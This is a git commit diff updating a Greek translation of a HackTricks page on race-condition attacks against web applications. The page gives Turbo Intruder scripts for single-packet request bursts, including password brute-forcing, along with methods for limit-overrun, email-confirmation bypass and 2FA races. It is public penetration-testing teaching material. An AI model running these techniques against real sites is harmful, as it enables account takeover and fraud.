Translated ['', 'src/pentesting-web/race-condition.md', 'src/pentesting-

This commit is contained in:
Translator 2025-09-29 14:22:17 +00:00
parent 6bd881b0f5
commit 67bf4628ad
3 changed files with 270 additions and 137 deletions

View File

@ -837,9 +837,14 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> Για να αποκτήσετε μια βαθιά κατανόηση αυτής της τεχνικής, ελέγξτε την αρχική αναφορά στο [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> Για να αποκτήσετε βαθύτερη κατανόηση αυτής της τεχνικής, δείτε την πρωτότυπη έκθεση στο [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Enhancing Race Condition Attacks
Το κύριο εμπόδιο στην εκμετάλλευση των race conditions είναι η διασφάλιση ότι πολλαπλά αιτήματα χειρίζονται ταυτόχρονα, με **πολύ μικρή διαφορά στους χρόνους επεξεργασίας τους—ιδανικά, λιγότερο από 1ms**.
Το κύριο εμπόδιο στην εκμετάλλευση των race conditions είναι η διασφάλιση ότι πολλά αιτήματα θα χειριστούν ταυτόχρονα, με **ελάχιστη διαφορά στους χρόνους επεξεργασίας τους—ιδανικά λιγότερο από 1ms**.
Εδώ μπορείτε να βρείτε μερικές τεχνικές για τη Συγχρονισμό Αιτημάτων:
Εδώ θα βρείτε μερικές τεχνικές για τον συγχρονισμό αιτημάτων:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Υποστηρίζει την αποστολή δύο αιτημάτων μέσω μιας μόνο σύνδεσης TCP, μειώνοντας την επίδραση του jitter στο δίκτυο. Ωστόσο, λόγω παραλλαγών στην πλευρά του διακομιστή, δύο αιτήματα μπορεί να μην είναι αρκετά για μια συνεπή εκμετάλλευση race condition.
- **HTTP/1.1 'Last-Byte Sync'**: Επιτρέπει την προ-αποστολή των περισσότερων τμημάτων 20-30 αιτημάτων, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται στη συνέχεια μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον διακομιστή.
- **HTTP/2**: Υποστηρίζει την αποστολή δύο αιτημάτων πάνω από μία TCP σύνδεση, μειώνοντας την επίδραση του network jitter. Ωστόσο, λόγω διαφορών στο server-side, δύο αιτήματα μπορεί να μην αρκούν για μια συνεπή race condition εκμετάλλευση.
- **HTTP/1.1 'Last-Byte Sync'**: Επιτρέπει την προ-αποστολή των περισσότερων μερών 20-30 αιτημάτων, κρατώντας ένα μικρό κομμάτι, το οποίο αποστέλλεται μαζί, επιτυγχάνοντας ταυτόχρονη άφιξη στον server.
**Η προετοιμασία για Last-Byte Sync** περιλαμβάνει:
Η προετοιμασία για το Last-Byte Sync περιλαμβάνει:
1. Αποστολή κεφαλίδων και δεδομένων σώματος χωρίς το τελικό byte χωρίς να τερματίσετε τη ροή.
1. Αποστολή headers και body minus το τελικό byte χωρίς να κλείσετε το stream.
2. Παύση για 100ms μετά την αρχική αποστολή.
3. Απενεργοποίηση του TCP_NODELAY για να χρησιμοποιηθεί ο αλγόριθμος Nagle για την ομαδοποίηση των τελικών πλαισίων.
4. Ping για να ζεστάνει τη σύνδεση.
3. Απενεργοποίηση του TCP_NODELAY για να χρησιμοποιηθεί ο αλγόριθμος Nagle για batching των τελικών frames.
4. Pinging για «ζέσταμα» της σύνδεσης.
Η επόμενη αποστολή των συγκρατημένων πλαισίων θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα μόνο πακέτο, επαληθεύσιμο μέσω του Wireshark. Αυτή η μέθοδος δεν ισχύει για στατικά αρχεία, τα οποία δεν εμπλέκονται συνήθως σε επιθέσεις RC.
Η επακόλουθη αποστολή των κρατημένων frames θα πρέπει να έχει ως αποτέλεσμα την άφιξή τους σε ένα πακέτο, κάτι που μπορεί να επαληθευτεί με Wireshark. Αυτή η μέθοδος δεν εφαρμόζεται σε static files, τα οποία συνήθως δεν εμπλέκονται σε RC attacks.
### Adapting to Server Architecture
Η κατανόηση της αρχιτεκτονικής του στόχου είναι κρίσιμη. Οι διακομιστές front-end μπορεί να δρομολογούν τα αιτήματα διαφορετικά, επηρεάζοντας το χρονοδιάγραμμα. Η προληπτική θέρμανση της σύνδεσης στην πλευρά του διακομιστή, μέσω ασήμαντων αιτημάτων, μπορεί να κανονικοποιήσει το χρονοδιάγραμμα των αιτημάτων.
Η κατανόηση της αρχιτεκτονικής του στόχου είναι κρίσιμη. Οι front-end servers μπορεί να δρομολογούν τα αιτήματα διαφορετικά, επηρεάζοντας το timing. Η προληπτική server-side θέρμανση των connections μέσω ασήμαντων αιτημάτων μπορεί να ομαλοποιήσει τους χρόνους απόκρισης.
#### Handling Session-Based Locking
Frameworks όπως ο διαχειριστής συνεδρίας του PHP σειριοποιούν τα αιτήματα κατά συνεδρία, ενδεχομένως αποκρύπτοντας ευπάθειες. Η χρήση διαφορετικών tokens συνεδρίας για κάθε αίτημα μπορεί να παρακάμψει αυτό το ζήτημα.
Πλαίσια όπως ο PHP session handler σειριοποιούν τα αιτήματα ανά session, πιθανόν να κρύβουν ευπάθειες. Η χρήση διαφορετικών session tokens για κάθε αίτημα μπορεί να παρακάμψει αυτό το πρόβλημα.
#### Overcoming Rate or Resource Limits
Εάν η θέρμανση της σύνδεσης είναι αναποτελεσματική, η σκόπιμη πρόκληση καθυστερήσεων στα όρια ρυθμού ή πόρων των διακομιστών ιστού μέσω πλημμύρας ψεύτικων αιτημάτων μπορεί να διευκολύνει την επίθεση single-packet προκαλώντας καθυστέρηση στην πλευρά του διακομιστή που ευνοεί τις race conditions.
Αν το connection warming δεν αποδίδει, το σκόπιμο δημιουργία καθυστερήσεων στα web servers μέσω πλημμύρας dummy αιτημάτων μπορεί να διευκολύνει το single-packet attack προκαλώντας server-side καθυστέρηση που ευνοεί τις race conditions.
## Attack Examples
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Μπορείτε να στείλετε το αίτημα στο **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), μπορείτε να αλλάξετε στην αίτηση την τιμή που θέλετε να brute force για **`%s`** όπως στο `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` και στη συνέχεια να επιλέξετε το **`examples/race-single-packer-attack.py`** από την αναπτυσσόμενη λίστα:
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Μπορείτε να στείλετε το αίτημα στο Turbo intruder (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), μπορείτε να αλλάξετε στο αίτημα την τιμή που θέλετε να brute force για **`%s`** όπως στο `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` και μετά να επιλέξετε το **`examples/race-single-packer-attack.py`** από το drop down:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Εάν πρόκειται να **στείλετε διαφορετικές τιμές**, μπορείτε να τροποποιήσετε τον κώδικα με αυτόν που χρησιμοποιεί μια λίστα λέξεων από το πρόχειρο:
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> Αν ο ιστότοπος δεν υποστηρίζει HTTP2 (μόνο HTTP1.1) χρησιμοποιήστε `Engine.THREADED` ή `Engine.BURP` αντί για `Engine.BURP2`.
> Αν ο ιστός δεν υποστηρίζει HTTP2 (μόνο HTTP1.1) χρησιμοποιήστε `Engine.THREADED` ή `Engine.BURP` αντί για `Engine.BURP2`.
- **Tubo Intruder - HTTP2 επίθεση μεμονωμένου πακέτου (Πολλές τελικές διαδρομές)**: Σε περίπτωση που χρειαστεί να στείλετε ένα αίτημα σε 1 τελική διαδρομή και στη συνέχεια πολλά σε άλλες τελικές διαδρομές για να ενεργοποιήσετε το RCE, μπορείτε να αλλάξετε το σενάριο `race-single-packet-attack.py` με κάτι σαν:
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Σε περίπτωση που χρειάζεται να στείλετε ένα request σε 1 endpoint και στη συνέχεια πολλά σε άλλα endpoints για να ενεργοποιήσετε το RCE, μπορείτε να αλλάξετε το `race-single-packet-attack.py` script με κάτι σαν:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- Είναι επίσης διαθέσιμο στο **Repeater** μέσω της νέας επιλογής '**Αποστολή ομάδας παράλληλα**' στο Burp Suite.
- Για **limit-overrun** θα μπορούσατε απλά να προσθέσετε το **ίδιο αίτημα 50 φορές** στην ομάδα.
- Για **connection warming**, θα μπορούσατε να **προσθέσετε** στην **αρχή** της **ομάδας** κάποια **αιτήματα** σε κάποιο μη στατικό μέρος του web server.
- Για **delaying** τη διαδικασία **μεταξύ** της επεξεργασίας **ενός αιτήματος και ενός άλλου** σε 2 υποστάσεις βημάτων, θα μπορούσατε να **προσθέσετε επιπλέον αιτήματα μεταξύ** και των δύο αιτημάτων.
- Για ένα **multi-endpoint** RC θα μπορούσατε να αρχίσετε να στέλνετε το **αίτημα** που **πηγαίνει στην κρυφή κατάσταση** και στη συνέχεια **50 αιτήματα** αμέσως μετά που **εκμεταλλεύονται την κρυφή κατάσταση**.
- Είναι επίσης διαθέσιμο στο **Repeater** μέσω της νέας επιλογής '**Send group in parallel**' στο Burp Suite.
- Για **limit-overrun** μπορείτε απλώς να προσθέσετε το **same request 50 times** στην ομάδα.
- Για **connection warming**, μπορείτε να **add** στην **beginning** της **group** μερικές **requests** προς κάποιο μη στατικό μέρος του web server.
- Για **delaying** της διαδικασίας **between** την επεξεργασία **one request and another** σε 2 substates steps, μπορείτε να **add extra requests between** και τα δύο requests.
- Για ένα **multi-endpoint** RC μπορείτε να αρχίσετε να στέλνετε το **request** που **goes to the hidden state** και μετά **50 requests** αμέσως μετά που **exploits the hidden state**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ συνεχώς το επαληθεύει μέχρι να φτάσει το διαπιστευτήριο επαλήθευσης του νέου email στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα παρατηρούσε μια RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά να σταλεί η επαλήθευση στο παλιό επειδή η μεταβλητή που υποδείκνυε το email ήταν ήδη γεμάτη με το πρώτο).\
Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails, γνωρίζουμε ότι λάβαμε το διαπιστευτήριο επαλήθευσης του αλλάγμένου email και τερματίζουμε την επίθεση.
- **Automated python script**: Ο στόχος αυτού του script είναι να αλλάξει το email ενός χρήστη ενώ το επαληθεύει συνεχώς μέχρι το verification token του νέου email να φτάσει στο τελευταίο email (αυτό συμβαίνει επειδή στον κώδικα υπήρχε ένα RC όπου ήταν δυνατό να τροποποιηθεί ένα email αλλά η verification να σταλεί στο παλιό επειδή η μεταβλητή που υποδεικνύει το email είχε ήδη γεμίσει με το πρώτο).\
Όταν η λέξη "objetivo" βρεθεί στα ληφθέντα emails, γνωρίζουμε ότι λάβαμε το verification token του τροποποιημένου email και τερματίζουμε την επίθεση.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -217,21 +217,19 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Βελτίωση Επίθεσης Μοναδικού Πακέτου
### Βελτίωση Single Packet Attack
Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1,500 bytes. Ωστόσο, σε [**αυτή την ανάρτηση**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), εξηγήθηκε πώς είναι δυνατόν να επεκταθεί ο περιορισμός των 1,500 bytes της επίθεσης μοναδικού πακέτου στο **65,535 B παράθυρο περιορισμού του TCP χρησιμοποιώντας κατακερματισμό επιπέδου IP** (διαχωρισμός ενός μοναδικού πακέτου σε πολλαπλά πακέτα IP) και αποστολή τους σε διαφορετική σειρά, επιτρέποντας την αποφυγή ανασυγκρότησης του πακέτου μέχρι να φτάσουν όλα τα θραύσματα στον διακομιστή. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10,000 αιτήσεις σε περίπου 166ms.
Στην αρχική έρευνα εξηγείται ότι αυτή η επίθεση έχει όριο 1,500 bytes. Ωστόσο, στο [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), εξηγήθηκε πώς είναι δυνατό να επεκταθεί ο περιορισμός των 1,500-byte του single packet attack στο **65,535 B window limitation of TCP by using IP layer fragmentation** (διαχωρίζοντας ένα ενιαίο πακέτο σε πολλαπλά IP πακέτα) και να σταλούν με διαφορετική σειρά, επιτρέποντας να αποτραπεί η επανασυγκόλληση του πακέτου μέχρι να φτάσουν όλα τα fragments στον server. Αυτή η τεχνική επέτρεψε στον ερευνητή να στείλει 10,000 requests σε περίπου 166ms.
Σημειώστε ότι αν και αυτή η βελτίωση καθιστά την επίθεση πιο αξιόπιστη σε RC που απαιτεί εκατοντάδες/χιλιάδες πακέτα να φτάσουν ταυτόχρονα, μπορεί επίσης να έχει κάποιους περιορισμούς λογισμικού. Ορισμένοι δημοφιλείς HTTP διακομιστές όπως οι Apache, Nginx και Go έχουν αυστηρή ρύθμιση `SETTINGS_MAX_CONCURRENT_STREAMS` σε 100, 128 και 250. Ωστόσο, άλλοι όπως οι NodeJS και nghttp2 το έχουν απεριόριστο.\
Αυτό σημαίνει βασικά ότι ο Apache θα θεωρήσει μόνο 100 HTTP συνδέσεις από μια μοναδική TCP σύνδεση (περιορίζοντας αυτή την επίθεση RC).
Σημειώστε ότι παρόλο που αυτή η βελτίωση κάνει την επίθεση πιο αξιόπιστη σε RC που απαιτούν εκατοντάδες/χιλιάδες πακέτα να φτάσουν ταυτόχρονα, μπορεί επίσης να έχει ορισμένους περιορισμούς σε επίπεδο λογισμικού. Ορισμένοι δημοφιλείς HTTP servers όπως οι Apache, Nginx και Go έχουν αυστηρή ρύθμιση `SETTINGS_MAX_CONCURRENT_STREAMS` σε 100, 128 και 250. Ωστόσο, άλλοι όπως οι NodeJS και nghttp2 την έχουν απεριόριστη.\
Αυτό ουσιαστικά σημαίνει ότι ο Apache θα θεωρεί μόνο 100 HTTP connections από μία ενιαία TCP connection (περιορίζοντας αυτή την RC επίθεση).
Μπορείτε να βρείτε μερικά παραδείγματα χρησιμοποιώντας αυτή την τεχνική στο αποθετήριο [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
Μπορείτε να βρείτε κάποια παραδείγματα που χρησιμοποιούν αυτή την τεχνική στο repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Ακατέργαστο BF
## Raw BF
Πριν από την προηγούμενη έρευνα, αυτά ήταν μερικά payloads που χρησιμοποιήθηκαν και απλώς προσπαθούσαν να στείλουν τα πακέτα όσο το δυνατόν πιο γρήγορα για να προκαλέσουν μια RC.
- **Επαναλήπτης:** Ελέγξτε τα παραδείγματα από την προηγούμενη ενότητα.
- **Εισβολέας**: Στείλτε το **αίτημα** στον **Εισβολέα**, ρυθμίστε τον **αριθμό νημάτων** σε **30** μέσα στο **μενού Επιλογών** και επιλέξτε ως payload **Null payloads** και δημιουργήστε **30.**
- **Repeater:** Δείτε τα παραδείγματα από την προηγούμενη ενότητα.
- **Intruder**: Στείλτε το **request** στο **Intruder**, θέστε τον **number of threads** σε **30** μέσα στο **Options menu**, επιλέξτε ως payload **Null payloads** και δημιουργήστε **30**.
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@ -279,75 +277,75 @@ print(results)
asyncio.run(main())
```
## **RC Methodology**
## **RC Μεθοδολογία**
### Limit-overrun / TOCTOU
Αυτή είναι η πιο βασική μορφή συνθήκης αγώνα όπου **ευπάθειες** που **εμφανίζονται** σε μέρη που **περιορίζουν τον αριθμό φορών που μπορείτε να εκτελέσετε μια ενέργεια**. Όπως η χρήση του ίδιου κωδικού έκπτωσης σε ένα διαδικτυακό κατάστημα πολλές φορές. Ένα πολύ εύκολο παράδειγμα μπορεί να βρεθεί σε [**αυτή την αναφορά**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ή σε [**αυτό το σφάλμα**](https://hackerone.com/reports/759247)**.**
Αυτός είναι ο πιο βασικός τύπος race condition όπου εμφανίζονται **vulnerabilities** σε σημεία που **περιορίζουν τον αριθμό φορών που μπορείτε να εκτελέσετε μια ενέργεια**. Όπως το να χρησιμοποιήσετε τον ίδιο κωδικό έκπτωσης σε ένα web store πολλές φορές. Ένα πολύ απλό παράδειγμα μπορεί να βρεθεί σε [**αυτή την αναφορά**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ή σε [**αυτό το bug**](https://hackerone.com/reports/759247)**.**
Υπάρχουν πολλές παραλλαγές αυτού του είδους επίθεσης, συμπεριλαμβανομένων:
- Εξαργύρωση μιας δωροκάρτας πολλές φορές
- Αξιολόγηση ενός προϊόντος πολλές φορές
- Ανάληψη ή μεταφορά χρημάτων που υπερβαίνουν το υπόλοιπο του λογαριασμού σας
- Επαναχρησιμοποίηση μιας μόνο λύσης CAPTCHA
- Παράκαμψη ενός περιορισμού ρυθμού κατά της βίαιης επίθεσης
- Εξαργύρωση gift card πολλαπλές φορές
- Αξιολόγηση προϊόντος πολλαπλές φορές
- Ανάληψη ή μεταφορά μετρητών πέρα από το υπόλοιπο του λογαριασμού
- Επαναχρησιμοποίηση της ίδιας CAPTCHA λύσης
- Παράκαμψη του anti-brute-force rate limit
### **Hidden substates**
### **Κρυφές υποκαταστάσεις**
Η εκμετάλλευση σύνθετων συνθηκών αγώνα συχνά περιλαμβάνει την εκμετάλλευση βραχυχρόνιων ευκαιριών για αλληλεπίδραση με κρυφές ή **μη προγραμματισμένες υποκαταστάσεις μηχανής**. Να πώς να προσεγγίσετε αυτό:
Η εκμετάλλευση πολύπλοκων race conditions συχνά περιλαμβάνει την αξιοποίηση σύντομων ευκαιριών για αλληλεπίδραση με κρυφές ή **ακούσιες υποκαταστάσεις μηχανής**. Να πώς να προσεγγίσετε αυτό:
1. **Identify Potential Hidden Substates**
- Ξεκινήστε εντοπίζοντας σημεία που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως προφίλ χρηστών ή διαδικασίες επαναφοράς κωδικών πρόσβασης. Επικεντρωθείτε σε:
- **Storage**: Προτιμήστε σημεία που χειρίζονται μόνιμα δεδομένα στον διακομιστή σε σχέση με αυτά που χειρίζονται δεδομένα στον πελάτη.
- **Action**: Αναζητήστε λειτουργίες που τροποποιούν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με αυτές που προσθέτουν νέα δεδομένα.
- **Keying**: Οι επιτυχείς επιθέσεις συνήθως περιλαμβάνουν λειτουργίες που βασίζονται στον ίδιο αναγνωριστικό, π.χ., όνομα χρήστη ή διακριτικό επαναφοράς.
2. **Conduct Initial Probing**
- Δοκιμάστε τα εντοπισμένα σημεία με επιθέσεις συνθήκης αγώνα, παρατηρώντας τυχόν αποκλίσεις από τις αναμενόμενες εκβάσεις. Απροσδόκητες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορεί να υποδηλώνουν μια ευπάθεια.
3. **Demonstrate the Vulnerability**
- Στενέψτε την επίθεση στον ελάχιστο αριθμό αιτημάτων που απαιτούνται για την εκμετάλλευση της ευπάθειας, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτεί πολλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονομέτρησης που εμπλέκεται.
1. **Εντοπισμός πιθανών κρυφών υποκαταστάσεων**
- Ξεκινήστε εντοπίζοντας endpoints που τροποποιούν ή αλληλεπιδρούν με κρίσιμα δεδομένα, όπως προφίλ χρηστών ή διαδικασίες password reset. Εστιάστε σε:
- **Storage**: Προτιμήστε endpoints που χειρίζονται server-side persistent δεδομένα αντί αυτών που χειρίζονται δεδομένα client-side.
- **Action**: Αναζητήστε λειτουργίες που αλλάζουν υπάρχοντα δεδομένα, οι οποίες είναι πιο πιθανό να δημιουργήσουν εκμεταλλεύσιμες συνθήκες σε σύγκριση με αυτές που προσθέτουν νέα δεδομένα.
- **Keying**: Οι επιτυχημένες επιθέσεις συνήθως περιλαμβάνουν λειτουργίες κλειδωμένες στο ίδιο αναγνωριστικό, π.χ. username ή reset token.
2. **Διεξαγωγή αρχικής διερεύνησης**
- Δοκιμάστε τα εντοπισμένα endpoints με επιθέσεις race condition, παρατηρώντας οποιεσδήποτε αποκλίσεις από τα αναμενόμενα αποτελέσματα. Απρόσμενες απαντήσεις ή αλλαγές στη συμπεριφορά της εφαρμογής μπορούν να υποδείξουν ευπάθεια.
3. **Επιδείξτε την ευπάθεια**
- Περιορίστε την επίθεση στον ελάχιστο αριθμό αιτημάτων που απαιτούνται για να εκμεταλλευτείτε την ευπάθεια, συχνά μόλις δύο. Αυτό το βήμα μπορεί να απαιτήσει πολλαπλές προσπάθειες ή αυτοματοποίηση λόγω της ακριβούς χρονισμού.
### Time Sensitive Attacks
### Χρονικά ευαίσθητες επιθέσεις
Η ακρίβεια στην χρονομέτρηση των αιτημάτων μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμες μέθοδοι όπως οι χρονικές σφραγίδες για τα διακριτικά ασφαλείας. Για παράδειγμα, η δημιουργία διακριτικών επαναφοράς κωδικών πρόσβασης με βάση τις χρονικές σφραγίδες θα μπορούσε να επιτρέψει ταυτόσημα διακριτικά για ταυτόχρονες αιτήσεις.
Η ακρίβεια στον χρονισμό των αιτημάτων μπορεί να αποκαλύψει ευπάθειες, ειδικά όταν χρησιμοποιούνται προβλέψιμοι τρόποι όπως timestamps για security tokens. Για παράδειγμα, η δημιουργία password reset tokens βάσει timestamps θα μπορούσε να επιτρέψει ίδια tokens για ταυτόχρονες αιτήσεις.
**To Exploit:**
**Για να εκμεταλλευτείτε:**
- Χρησιμοποιήστε ακριβή χρονομέτρηση, όπως μια επίθεση με ένα μόνο πακέτο, για να κάνετε ταυτόχρονες αιτήσεις επαναφοράς κωδικών πρόσβασης. Τα ταυτόσημα διακριτικά υποδηλώνουν μια ευπάθεια.
- Χρησιμοποιήστε ακριβή χρονισμό, όπως μια single packet attack, για να κάνετε concurrent password reset requests. Τα ίδια tokens υποδεικνύουν ευπάθεια.
**Example:**
**Παράδειγμα:**
- Ζητήστε δύο διακριτικά επαναφοράς κωδικών πρόσβασης ταυτόχρονα και συγκρίνετέ τα. Τα ταυτοποιημένα διακριτικά υποδηλώνουν ένα σφάλμα στη δημιουργία διακριτικών.
- Αιτηθείτε δύο password reset tokens ταυτόχρονα και συγκρίνετέ τα. Αν τα tokens ταιριάζουν, αυτό υποδηλώνει πρόβλημα στην παραγωγή των token.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) για να το δοκιμάσετε.
## Hidden substates case studies
## Μελέτες περίπτωσης κρυφών υποκαταστάσεων
### Pay & add an Item
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) για να δείτε πώς να **pay** σε ένα κατάστημα και να **add an extra** αντικείμενο που **δεν θα χρειαστεί να το πληρώσετε**.
### Confirm other emails
### Επιβεβαίωση άλλων διευθύνσεων email
Η ιδέα είναι να **επιβεβαιώσετε μια διεύθυνση email και να την αλλάξετε σε μια διαφορετική ταυτόχρονα** για να διαπιστώσετε αν η πλατφόρμα επιβεβαιώνει τη νέα που έχει αλλάξει.
Η ιδέα είναι να **επαληθεύσετε μια διεύθυνση email και να την αλλάξετε σε διαφορετική ταυτόχρονα** για να διαπιστώσετε αν η πλατφόρμα επαληθεύει τη νέα που άλλαξε.
### Change email to 2 emails addresses Cookie based
Σύμφωνα με [**αυτή την έρευνα**](https://portswigger.net/research/smashing-the-state-machine) το Gitlab ήταν ευάλωτο σε κατάληψη με αυτόν τον τρόπο επειδή μπορεί να **στείλει** το **διακριτικό επιβεβαίωσης email μιας διεύθυνσης email στην άλλη διεύθυνση email**.
Σύμφωνα με [**αυτή την έρευνα**](https://portswigger.net/research/smashing-the-state-machine) το Gitlab ήταν ευάλωτο σε takeover με αυτόν τον τρόπο επειδή μπορεί να **στείλει** το **email verification token ενός email στο άλλο email**.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) για να το δοκιμάσετε.
### Hidden Database states / Confirmation Bypass
### Κρυφές καταστάσεις database / Παράκαμψη Επιβεβαίωσης
Εάν **χρησιμοποιηθούν 2 διαφορετικές εγγραφές** για να **προσθέσουν** **πληροφορίες** μέσα σε μια **βάση δεδομένων**, υπάρχει μια μικρή χρονική περίοδος όπου **μόνο τα πρώτα δεδομένα έχουν γραφεί** μέσα στη βάση δεδομένων. Για παράδειγμα, όταν δημιουργείτε έναν χρήστη, το **όνομα χρήστη** και ο **κωδικός πρόσβασης** μπορεί να **γραφούν** και **στη συνέχεια το διακριτικό** για την επιβεβαίωση του νεοδημιουργηθέντος λογαριασμού να γραφεί. Αυτό σημαίνει ότι για μια μικρή χρονική περίοδο το **διακριτικό για την επιβεβαίωση ενός λογαριασμού είναι κενό**.
Αν **2 διαφορετικές writes** χρησιμοποιούνται για να **προσθέσουν** **πληροφορία** μέσα σε μια **database**, υπάρχει ένα μικρό χρονικό διάστημα όπου **μόνο το πρώτο δεδομένο έχει γραφτεί** στη βάση. Για παράδειγμα, κατά τη δημιουργία χρήστη το **username** και το **password** μπορεί να **γραφτούν** και **μετά το token** για να επιβεβαιωθεί ο νεοδημιουργημένος λογαριασμός να γραφτεί. Αυτό σημαίνει ότι για μικρό χρονικό διάστημα το **token για επιβεβαίωση λογαριασμού είναι null**.
Επομένως, **η εγγραφή ενός λογαριασμού και η αποστολή αρκετών αιτημάτων με κενό διακριτικό** (`token=` ή `token[]=` ή οποιαδήποτε άλλη παραλλαγή) για να επιβεβαιώσετε τον λογαριασμό αμέσως θα μπορούσε να επιτρέψει την **επιβεβαίωση ενός λογαριασμού** όπου δεν ελέγχετε το email.
Επομένως, **η εγγραφή ενός λογαριασμού και η αποστολή πολλαπλών αιτημάτων με ένα κενό token** (`token=` ή `token[]=` ή οποιαδήποτε άλλη παραλλαγή) για να επιβεβαιώσετε αμέσως τον λογαριασμό, θα μπορούσε να επιτρέψει να **επιβεβαιώσετε έναν λογαριασμό** όπου δεν ελέγχετε το email.
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
Δείτε αυτό [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) για να το δοκιμάσετε.
### Bypass 2FA
### Παράκαμψη 2FA
Ο παρακάτω ψευδοκώδικας είναι ευάλωτος σε συνθήκη αγώνα επειδή σε πολύ μικρό χρονικό διάστημα η **2FA δεν επιβάλλεται** ενώ δημιουργείται η συνεδρία:
Ο ακόλουθος pseudo-code είναι ευάλωτος σε race condition επειδή σε ένα πολύ μικρό χρονικό διάστημα η **2FA δεν εφαρμόζεται** ενώ η session δημιουργείται:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -355,24 +353,25 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 eternal persistence
### OAuth2 αιώνια διατήρηση
